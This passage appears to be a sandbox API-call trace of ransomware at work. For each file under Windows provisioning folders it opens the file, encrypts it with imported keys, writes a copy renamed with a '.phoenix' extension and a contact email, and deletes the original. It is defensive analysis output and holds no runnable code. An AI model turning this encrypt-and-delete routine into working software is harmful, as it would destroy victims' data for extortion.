	[0227.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.193] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.193] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.193] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0227.195] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.195] ReadFile (in: hFile=0x2cc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x380, lpOverlapped=0x0) returned 1
	[0227.199] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x390, dwBufLen=0x390 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x390) returned 1
	[0227.199] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x390, lpOverlapped=0x0) returned 1
	[0227.200] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0227.200] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.200] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0227.200] CryptDestroyKey (hKey=0x151200) returned 1
	[0227.200] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0227.200] CryptDestroyKey (hKey=0x151040) returned 1
	[0227.200] CloseHandle (hObject=0x2cc) returned 1
	[0227.201] CloseHandle (hObject=0x2e8) returned 1
	[0227.202] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml")) returned 1
	[0227.203] SetEvent (hEvent=0x298) returned 1
	[0227.203] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.203] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.203] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0227.203] CloseHandle (hObject=0x2e8) returned 1
	[0227.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml")) returned 0x20
	[0227.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.204] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.204] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.204] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0227.204] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.204] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0227.206] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0227.206] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0227.207] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0227.207] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.207] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0227.207] CryptDestroyKey (hKey=0x151380) returned 1
	[0227.207] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0227.207] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0227.207] CloseHandle (hObject=0x2e8) returned 1
	[0227.208] CloseHandle (hObject=0x2cc) returned 1
	[0227.210] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml")) returned 1
	[0227.211] SetEvent (hEvent=0x298) returned 1
	[0227.211] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.212] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=258) returned 1
	[0227.212] CloseHandle (hObject=0x2cc) returned 1
	[0227.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml")) returned 0x20
	[0227.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.212] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.212] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0227.213] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.213] ReadFile (in: hFile=0x2cc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x102, lpOverlapped=0x0) returned 1
	[0227.214] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0227.214] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0227.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0227.215] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.215] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0227.215] CryptDestroyKey (hKey=0x151700) returned 1
	[0227.215] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0227.216] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0227.216] CloseHandle (hObject=0x2cc) returned 1
	[0227.216] CloseHandle (hObject=0x2e8) returned 1
	[0227.217] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml")) returned 1
	[0227.218] SetEvent (hEvent=0x298) returned 1
	[0227.218] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.218] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2247) returned 1
	[0227.218] CloseHandle (hObject=0x2e8) returned 1
	[0227.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml")) returned 0x20
	[0227.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.219] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.219] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0227.221] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.221] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8c7, lpOverlapped=0x0) returned 1
	[0227.290] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8d0, dwBufLen=0x8d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8d0) returned 1
	[0227.290] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x8d0, lpOverlapped=0x0) returned 1
	[0227.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0227.291] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.291] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0227.291] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0227.291] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0227.291] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0227.291] CloseHandle (hObject=0x2e8) returned 1
	[0227.291] CloseHandle (hObject=0x2f0) returned 1
	[0227.292] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml")) returned 1
	[0227.293] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.294] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0227.294] CloseHandle (hObject=0x2f0) returned 1
	[0227.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml")) returned 0x20
	[0227.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.294] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.294] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.295] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0227.295] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.295] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0227.296] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0227.296] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0227.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0227.297] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.297] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0227.297] CryptDestroyKey (hKey=0x151380) returned 1
	[0227.297] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0227.298] CryptDestroyKey (hKey=0x151180) returned 1
	[0227.298] CloseHandle (hObject=0x2f0) returned 1
	[0227.298] CloseHandle (hObject=0x2e8) returned 1
	[0227.299] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml")) returned 1
	[0227.300] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.300] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.300] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=460) returned 1
	[0227.301] CloseHandle (hObject=0x2e8) returned 1
	[0227.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml")) returned 0x20
